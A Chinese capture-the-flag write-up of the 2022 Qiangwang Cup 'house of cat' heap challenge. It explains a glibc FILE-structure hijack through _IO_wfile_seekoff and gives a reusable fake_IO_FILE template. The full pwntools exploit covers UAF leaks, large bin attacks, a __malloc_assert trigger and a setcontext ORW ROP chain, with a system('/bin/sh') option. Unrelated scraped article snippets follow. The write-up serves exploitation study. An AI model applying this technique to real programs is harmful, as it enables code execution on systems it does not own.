house of cat

article/2025/8/20 12:53:12

2022强网杯 house of cat

跟着大佬的文章学习了一个新的利用手法 house of cat,原文链接:House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解

利用条件:

1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。

攻击流程:

1.修改_IO_list_all为可控地址(FSOP)或修改stderr为可控地址(__malloc_assert)。
2.在上一步的可控地址中伪造fake_IO结构体(也可以在任意地址写的情况下修改stderr、stdout等结构体)。
3.通过FSOP或malloc触发攻击。

house of cat的IO_FILE利用链:

在_IO_wfile_jumps结构体:

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_new_file_finish),JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),JUMP_INIT(xsputn, _IO_wfile_xsputn),JUMP_INIT(xsgetn, _IO_file_xsgetn),JUMP_INIT(seekoff, _IO_wfile_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_new_file_setbuf),JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),JUMP_INIT(doallocate, _IO_wfile_doallocate),JUMP_INIT(read, _IO_file_read),JUMP_INIT(write, _IO_new_file_write),JUMP_INIT(seek, _IO_file_seek),JUMP_INIT(close, _IO_file_close),JUMP_INIT(stat, _IO_file_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_wfile_seekoff函数:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{off64_t result;off64_t delta, new_offset;long int count;if (mode == 0)return do_ftell_wide (fp);int must_be_exact = ((fp->_wide_data->_IO_read_base== fp->_wide_data->_IO_read_end)&& (fp->_wide_data->_IO_write_base== fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测bool was_writing = ((fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)|| _IO_in_put_mode (fp));if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;
......
}

fp结构体是我们可以伪造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base来调用_IO_switch_to_wget_mode

int
_IO_switch_to_wget_mode (FILE *fp)
{if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)return EOF;......
}

_IO_WOVERFLOW是glibc里定义的一个宏调用函数,我们看一下汇编代码

#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

在这里插入图片描述
该函数作用:

1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1。
2.将新赋值的[rax1+0x20]处的内容赋值给rdx。
3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2。
4.call调用[rax2+0x18]处的内容。

在这里插入图片描述
在造成任意地址写一个堆地址的基础上,这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱的情况下,假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system(“/bin/sh”)

利用方式:
开启沙箱:

1.将rdi改为fake_IO_FILE的地址
2.把最后调用的[rax + 0x18]设置为setcontext
3.将rdx设置为可控的堆地址
4.srop来读取flag

未开启沙箱:

1.把最后调用的[rax + 0x18]设置为system函数
2.把fake_IO_FILE的头部写入/bin/sh字符串
3.执行system("/bin/sh")

fake_IO_FILE需要绕过的检查:

_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp->_lock是一个可写地址(堆地址、libc中的可写地址)

house of cat的模板

伪造IO结构体时只需修改fake_io_addr地址,_IO_save_end为想要调用的函数,_IO_backup_base为执行函数时的rdx,以及修改_flags为执行函数时的rdi

fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi)         #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

例题分析

在这里插入图片描述
保护全开
在这里插入图片描述
开启沙箱,禁用execve,检查了read的fd指针,注意如果构造orw的话需要将close(0),之后把flag文件流设为0,即可绕过检查。
ida分析伪代码

ssize_t __fastcall sub_1DF3(__int64 a1)
{ssize_t result; // raxunsigned int choose; // eaxchar *v3; // [rsp+18h] [rbp-8h]if ( *(a1 + 8) == 1 && !strcmp(*(a1 + 16), "admin") )dword_4040[0] = 1;result = *(a1 + 8);if ( result == 3 ){result = strtok(*(a1 + 16), "$");v3 = result;if ( result ){result = dword_4014;if ( *v3 == dword_4014 ){result = dword_4040[0];if ( dword_4040[0] ){menu();choose = my_read();if ( choose == 4 ){return edit();}else{if ( choose <= 4 ){switch ( choose ){case 3u:return show();case 1u:return add();case 2u:return delete();}}return my_printf("error!\n");}}}}}return result;
}

在这里插入图片描述

找到执行菜单的函数,我们可以看到程序对我们的输入进行了加密,我们要严格按照一定格式才能进入堆菜单,需要满足 (a1 + 8) == 1 && !strcmp((a1 + 16), “admin”),才能使 dword_4040[0] = 1;并且需要满足*(a1 + 8) ==3,result=strtok(*(a1 + 16), " " ) ; 不为 0 ,我们还需要使 v 3 后即( ");不为0, 我们还需要使v3后即( ");不为0,我们还需要使v3后即(后的)数字为-1,因为0x4014处是0xffffffff,而v3是char型数据,所以把v3写为0xff即可在比较时进行强制类型转换,都为-1,绕过检查
在这里插入图片描述在这里插入图片描述

查看该函数的上一个函数sub_1A50()函数,

在这里插入图片描述

__int64 __fastcall sub_1A50(char *a1, __int64 a2)
{char *s; // [rsp+18h] [rbp-28h]char *v4; // [rsp+20h] [rbp-20h]char *v5; // [rsp+20h] [rbp-20h]char *v6; // [rsp+20h] [rbp-20h]const char *s2; // [rsp+28h] [rbp-18h]char *v8; // [rsp+30h] [rbp-10h]const char *s1; // [rsp+38h] [rbp-8h]v4 = strstr(a1, "QWB");if ( !v4 )return 0LL;*v4 = 0;v4[1] = 0;v4[2] = 32;v5 = v4 + 3;s2 = strtok(a1, " ");if ( !strcmp("LOGIN", s2) ){*(a2 + 8) = 1;}else if ( *(a2 + 8) || strcmp("DOG", s2) ){if ( *(a2 + 8) || strcmp("CAT", s2) ){if ( *(a2 + 8) || strcmp("MONKEY", s2) ){if ( *(a2 + 8) || strcmp("FISH", s2) ){if ( *(a2 + 8) || strcmp("PIG", s2) ){if ( *(a2 + 8) || strcmp("WOLF", s2) ){if ( *(a2 + 8) || strcmp("DUCK", s2) ){if ( *(a2 + 8) || strcmp("GOLF", s2) ){if ( *(a2 + 8) || strcmp("TIGER", s2) )return 0LL;*(a2 + 8) = 10;}else{*(a2 + 8) = 9;}}else{*(a2 + 8) = 8;}}else{*(a2 + 8) = 7;}}else{*(a2 + 8) = 6;}}else{*(a2 + 8) = 5;}}else{*(a2 + 8) = 4;}}else{*(a2 + 8) = 3;}}else{*(a2 + 8) = 2;}v8 = strtok(0LL, " ");if ( v8 != strchr(v8, 124) )return 0LL;*a2 = v8;s1 = strtok(0LL, " ");if ( strcmp(s1, "r00t") )return 0LL;s = v5 + 5;v6 = strstr(v5, "QWXF");if ( !v6 )return 0LL;*v6 = 0;v6[1] = 0;v6[2] = 0;v6[3] = 32;*(a2 + 16) = s;return 1LL;
}

由此可知需要有字符串’CAT’,使 (a2 + 8) = 3;这里的a2就是sub_1DF3()函数里的s,相当于(s+8)=3,
在这里插入图片描述
这里的a2就是sub_1DF3()函数里的s,相当于*(s+8)=1,所以我们要先有LOGIN
在这里插入图片描述
0x7C代表字符 |
在这里插入图片描述
在这里插入图片描述

我们还要有 ‘|’, 'QWB’和’QWXF’不然程序会返回0,无法执行sub_1DF3()函数

整理一下,多次尝试,我们需要先输入

LOGIN | r00t QWB QWXFadmin

来登录进程序
接着输入

CAT | r00t QWB QWXF$\xff

来进入堆菜单,且每次执行完一次堆操作后都需要重新执行

CAT | r00t QWB QWXF$\xff

因此我们写堆菜单的操作:

# coding=utf-8
from pwn import *
p=process('./house_of_cat')
libc=ELF('./libc.so.6')
context.log_level='debug'
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims		    :p.recvuntil(delims)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():gdb.attach(p)
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,cont):sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')sla('plz input your cat choice:\n',str(1))sla('plz input your cat idx:\n',str(idx))sla('plz input your cat size:\n',str(size))sa('plz input your content:\n',cont)
def free(idx):sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')sla('plz input your cat choice:\n', str(2))sla('plz input your cat idx:\n',str(idx))
def show(idx):sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')sla('plz input your cat choice:\n', str(3))sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')sla('plz input your cat choice:\n', str(4))sla('plz input your cat idx:\n',str(idx))sa('plz input your content:\n', cont)

之后分析一下有什么漏洞
在这里插入图片描述

add函数只能申请size 0x417 – 0x46F的chunk
在这里插入图片描述

delete函数存在uaf
在这里插入图片描述
在这里插入图片描述
edit函数只能执行两次
在这里插入图片描述
show函数只能输出0x30字节

利用思路

1.泄露libc地址和堆地址
2.large bin attack stderr
3.large bin attack topchunk's size
4.伪造fake_IO
5.触发__malloc_assert,进入_IO_wfile_seekoff转到_IO_switch_to_wget_mode。
6.setcontext执行rop链。

过程分析

首先申请大于0x400的chunk并free后进入unsorted bin 再申请大于bin中chunk的chunk,将其进入largebin,利用uaf泄露libc和heap基地址

add(0,0x420,'aaa')
add(1,0x430,'bbb')
add(2,0x418,'ccc')dbg()

在这里插入图片描述

free(0) #chunk_0进入unsorted bindbg()

在这里插入图片描述

add(3,0x440,'ddd') #chunk_3>chunk_0,chunk_0进入largebin
show(0) 
ru('Context:\n')
libcbase=u64(r(6).ljust(8,b'\x00'))-0x21a0d0
r(10)
heapaddr=u64(r(6).ljust(8,'\x00'))-0x290
lg('libcbase',libcbase)
lg('heapaddr',heapaddr)dbg()

在这里插入图片描述
在这里插入图片描述

之后计算获得我们所需要的构造fake_io和orw的gadget段地址

rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x000000000011f497
ret=libcbase+0x0000000000029cd6
rax=libcbase+0x0000000000045eb0
stderr=libcbase+libc.sym['stderr']
setcontext=libcbase+libc.sym['setcontext']
close=libcbase+libc.sym['close']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
syscallret=libcbase+libc.search(asm('syscall\nret')).next()

之后利用模板构造fake_io

#fake IO
ioaddr=heapaddr+0xb00
next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdx
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0 )  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapaddr+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(heapaddr+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160d0)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heapaddr+0xb30+0x10)  # rax2
flagaddr=heapaddr+0x17d0
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret)

这里payload1非常巧妙,flagaddr是我们之后申请一个chunk内容为flag的chunk地址,用来作为orw读取flag的参数,heapaddr+0x2050(0x55C59590A050)是我们之后申请的填有ROP链的地址,

free(2)
add(6,0x418,payload1)
free(6)
#gdb.attach(p,'b* (_IO_wfile_seekoff)')
dbg()

在这里插入图片描述
利用largebin attack修改stderr为unsortedbin中chunk的地址0x55C595908b00

#large bin attack stderr poiniter
edit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))dbg()

在这里插入图片描述

add(5,0x440,'aaaaa')dbg()

在这里插入图片描述

add(7,0x430,'flag')dbg()

在这里插入图片描述
这里注意由于对fd的检查,需要close(0)使flag文件的文件描述符为0读入。

add(8,0x430,'eee')
#rop
payload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)
add(9,0x430,payload)dbg()

在这里插入图片描述
chunk_9位于0x55C59590A040,mem为0x55C59590A050,存放rop链

在这里插入图片描述

free(5)dbg()

在这里插入图片描述

add(10,0x450,p64(0)+p64(1))dbg()

在这里插入图片描述

free(8)dbg()

在这里插入图片描述
这里heapaddr+0x28e0为topchunk的地址,largebin attack修改的是chunk的bk_size指针,所以减0x20,再减3是因为我们要同时修改topchunk的pre_size和size。

# large bin attack topchunk's size
edit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3))dbg()

在这里插入图片描述

#trigger __malloc_assert
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
gdb.attach(p,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))
#dbg()
p.interactive()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们看到程序运行到_IO_wfile_seekoff+104调用_IO_switch_to_wget_mode时,rdi,rdx被我们修改成了指定的chunk地址,而因为我们修改了topchunk,所以程序会产生报错,执行__malloc_assert,进入_IO_wfile_seekoff转到_IO_switch_to_wget_mode进而跳转到setcontext执行rop链


http://chatgpt.dhexx.cn/article/miDIwf2d.shtml

相关文章

我谈阶梯博弈(Staircase Nim)

今天在POJ做了一道博弈题..进而了解到了阶梯博弈...下面阐述一下我对于阶梯博弈的理解.. 首先是对阶梯博弈的阐述...博弈在一列阶梯上进行...每个阶梯上放着自然数个点..两个人进行阶梯博弈...每一步则是将一个集体上的若干个点( >1 )移到前面去..最后没有点可以移动的人输.…

阶梯博弈(Staircase Nim)

阶梯博弈&#xff01;&#xff01;&#xff01;下面阐述一下我对于阶梯博弈的理解.. 首先是对阶梯博弈的阐述...博弈在一列阶梯上进行...每个阶梯上放着自然数个点..两个人进行阶梯博弈...每一步则是将一个集体上的若干个点( >1 )移到前面去..最后没有点可以移动的人输.. 如…

我谈阶梯博弈( Staircase Nim )

今天在POJ做了一道博弈题..进而了解到了阶梯博弈...下面阐述一下我对于阶梯博弈的理解.. 首先是对阶梯博弈的阐述...博弈在一列阶梯上进行...每个阶梯上放着自然数个点..两个人进行阶梯博弈...每一步则是将一个集体上的若干个点( >1 )移到前面去..最后没有点可以移动的人输.…

Scala class和case class的区别

在Scala中存在case class&#xff0c;它其实就是一个普通的class。但是它又和普通的class略有区别&#xff0c;如下&#xff1a;   1、初始化的时候可以不用new&#xff0c;当然你也可以加上&#xff0c;普通类一定需要加new&#xff1b; scala> case class Iteblog(name…

hackerrank初级篇之staircase

题目说明&#xff1a; 示例代码&#xff1a; // staircase.cpp: 定义控制台应用程序的入口点。 // // n4 // # // ## // ### //#### // //#include "stdafx.h" #include <windows.h> #include <iostream> using namespace std;void staircase( int …

Staircases

Staircases Time Limit : 2000/1000ms (Java/Other) Memory Limit : 32768/16384K (Java/Other) Total Submission(s) : 8 Accepted Submission(s) : 5 Problem Description One curious child has a set of N little bricks (5 ≤ N ≤ 500). From these bricks he buil…

自旋锁是什么?

本文内容如有错误、不足之处&#xff0c;欢迎技术爱好者们一同探讨&#xff0c;在本文下面讨论区留言&#xff0c;感谢。 文章目录 定义特点和互斥锁比较适用场景 结论混合是什么意思&#xff1f; 结尾参考资料 定义 自旋锁 spin lock 下面内容摘自维基百科 在软件工程中&…

【自旋锁】

1. 原理 PV操作原理 记录一个锁定状态(就是一个共享资源&#xff0c;基于原子操作) 2. 适用 1. 解决多cpu之间的竞态 2. 可以解决中断程序和普通程序之间的竞态(自旋锁可以用于中断上下文) 3. 加锁时间不宜过长 4. 获得自旋锁期间&#xff0c;不能进行调度(sleep) 例&#xff1…

量子力学之电子自旋与四个量子数

量子力学之电子自旋与四个量子数 前言一、电子自旋是什么&#xff1f;二、四个量子数1.主量子数 n2.角量子数*l*3.磁量子数ml4.自旋量子数ms 三.例题 前言 在笔者学习大学物理量子力学部分时&#xff0c;对此部分非常疑惑&#xff0c;弄明白之后写下来以供查看&#xff0c;水平…

学习自旋电子学的笔记03:初试自旋波模拟

文章目录 前言一、初遇1.Figure S2 (a)2.图4-23.Figure S1 二、暂别1.FFT分析程序包&#xff1a;MFA简介2.使用练习MFA 三、重逢3.Figure S14.FIG.2 (a)5.FIG.2 (b)6.FIG.5 总结 _ _ 远行&#xff01; 前言 四月&#xff0c;过得四真的快啊&#xff0c;这是从入学到现在的第9个…

深入理解CAS (自旋锁)

文章目录 0. 导言1. 什么是CAS2. 保证原子操作2.1 CAS 实现自旋锁2.2 AtomicBoolean 中的CAS2.3 CAS使用场景 3. 锁的分类3.1 乐观锁3.2 悲观锁 4. CAS存在的问题4.1 ABA问题4.2 循环时间长开销大4.3 只能保证一个共享变量的原子操作 0. 导言 背景&#xff1a; 我们都知道&…

CAS和自旋锁

什么是CAS CAS算法&#xff08;Compare And Swap&#xff09;&#xff0c;即比较并替换&#xff0c;是一种实现并发编程时常用到的算法&#xff0c;Java并发包中的很多类都使用了CAS算法。 CAS算法有3个基本操作数&#xff1a; 内存地址V旧的预期值A要修改的新值B CAS使用自…

Java中的自旋锁,手动实现一个自旋锁

自旋锁 CAS是实现自旋锁的基础,CAS利用CPU指令保证了操作的原子性,已达到锁的效果。自旋是指尝试获取锁的线程不会立即阻塞,而是采用循环的方式去尝试获取锁, 当线程发现锁被占用时,会不断循环判断锁的状态,直到获取。这样的好处是减少线程上下文切换的消耗,缺点是循环…

学习自旋电子学的笔记04:模拟自旋波在弯曲磁畴壁中传播

文章目录 前言零、笔记03中错误的补充改正1.保持电子的极化方向不变的原因2.Oxs_SpinXferEvolve类的额外补充说明3.时间演化器的时间步长相关补充说明 一、文章概述和要复现的微磁模拟1.文章概述2.要复现的微磁模拟 二、FIG.1三、 FIG.21. FIG.2(a-b)2. FIG.2(c-f) 四、 FIG.3五…

CAS和自旋到底是一个概念吗?

问题: CAS是 compare and swap ,就是一个比较工作内存和主内存的值是否相同&#xff0c;相同的话&#xff0c;就用新值来替换这么一个操作。 但是&#xff0c;为什么好多地方都说这是自旋呢&#xff1f; 我理解比较一次的话&#xff0c;成功就返回true了&#xff0c;失败&am…

CAS及CAS自旋

1. CAS简介 比较并交换(compare and swap, CAS)&#xff0c;是原子操作的一种。在多线程没有锁的状态下&#xff0c;可以保证多个线程对同一个值的更新。 CAS可用于在多线程编程中实现不被打断的数据交换操作&#xff0c;从而避免多线程同时改写某一数据时由于执行顺序不确定…

自旋玻璃(spin glass)、自旋冰(spin ice)和量子自旋液体(quantum spin liquid)(之二)

文章目录 13. 几何阻挫&#xff08;Geometrical frustration&#xff09;13.1 磁序&#xff08;Magnetic ordering&#xff09;13.2 数学定义13.3 水冰&#xff08;water ice&#xff09;13.4 Paulings model 的扩展&#xff1a;广义的阻挫13.5 人工几何阻挫铁磁体13.6 没有晶格…

CAS自旋

文章目录 1. CAS简介2. CAS的特点3. 自旋–比较和交换4. 什么是ABA问题5. ABA问题怎么解决6. 悲观锁7. 乐观锁8. CAS锁升级 CAS面试提问环节&#xff1a; synchronized、ReentrantLock、CAS全家桶发售HashMap、Hashtable、ConcurrentHashMap组合拳出击 1. CAS简介 比较并交换(…

自旋玻璃(spin glass)、自旋冰(spin ice)和量子自旋液体(quantum spin liquid)(之一)

文章目录 1. Giorgio Parisi 简介2. 复杂无序系统2.1 相变、序参量与对称性破缺2.2 复杂系统 3. 自旋玻璃简介3.1 自旋冻结3.2 亚稳态3.3 磁化弛豫3.4 玻璃化和无序系统3.5 Ising model3.6 自旋玻璃模型3.7 自旋玻璃相变 4. 磁场中的现象5. Edwards-Anderson model6. Sherringt…

office卸载工具怎么用(官方干净卸载方法)

https://jingyan.baidu.com/article/39810a23593f37b636fda60d.html